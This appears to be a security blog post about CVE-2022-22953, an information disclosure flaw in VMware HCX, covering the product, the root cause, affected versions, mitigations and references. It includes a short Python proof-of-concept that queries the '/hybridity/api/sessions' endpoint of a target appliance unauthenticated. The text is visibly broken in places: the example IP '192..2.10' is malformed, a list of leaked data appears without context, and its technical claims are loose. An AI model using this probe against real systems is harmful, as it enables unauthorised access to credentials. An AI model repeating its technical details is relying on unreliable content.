In April 2022, VMware published a critical security update to address an information disclosure vulnerability in VMware HCX. This flaw, tracked as CVE-2022-22953, could let attackers with just network access to the appliance steal sensitive information. In this post, we’ll dig into what HCX is, how the vulnerability works, the risks, and how organizations can protect themselves—including a look at proof-of-concept code and relevant links.

What is VMware HCX?

VMware HCX is an application for simplifying the migration, rebalancing, and business continuity of applications in hybrid cloud environments. HCX is often at the heart of enterprise data movement, which means any vulnerability can have wide-reaching effects.

About CVE-2022-22953

Disclosure: VMware Security Advisory VMSA-2022-0009

What does this mean?

A remote attacker—one who can just reach the appliance over the network—could steal data such as system info, credentials, or logs without any valid login. In other words, it’s a good-old “info leak” bug, which in the worst case could lead to other, even more dangerous attacks once those credentials/information are obtained.

How Does the Exploit Work?

VMware doesn’t publish full technical exploit details, but several trustworthy sources and Metasploit modules emerged later.

Technical Root Cause

The flaw is in the “/hybridity/api/sessions” endpoint of the HCX appliance management interface. The endpoint doesn’t properly check authentication, so a request with a special header can trick it into returning sensitive info.

Code Example: How an Attacker Might Exploit This (Python)

import requests

ip_address = '192..2.10'  # Change to target HCX appliance IP

url = f"https://{ip_address}/hybridity/api/sessions";
headers = {
    "Accept": "application/json"
}

r = requests.get(url, headers=headers, verify=False)
print(r.text)  # May include sensitive sessions or credentials!

Note: Running this unauthorized could be illegal! Test only against your own systems!

Session tokens: Used to impersonate valid users.

- System/log data: Useful for reconnaissance.

Potential credentials or password hashes: Which may then be cracked offline.

If your HCX is internet-exposed or reachable by attackers already inside your network, the risks are massive.

Who Is Affected?

All customers running affected versions of VMware HCX before 4.3.4 and 4.2.6. Many large organizations and cloud providers are at risk if they haven’t patched since 2022.

Isolate HCX:

Restrict access to the management interface using network controls/firewalls.

Monitor Logs:

Look for suspicious requests to the /hybridity/api/sessions endpoint.

Key References

- VMware Security Advisory (VMSA-2022-0009)
- Metasploit Module PR
- VMware KB Article
- NIST NVD Record for CVE-2022-22953

Conclusion

CVE-2022-22953 shows that even “info leak” vulnerabilities can be a launchpad for bigger, far more dangerous attacks. If you run VMware HCX, patching is urgent, and restricting access is always a best practice. Check your logs for unusual probes, and never place management interfaces on public networks without protection.

Timeline

Published on: 06/16/2022 16:15:00 UTC
Last modified on: 06/27/2022 17:58:00 UTC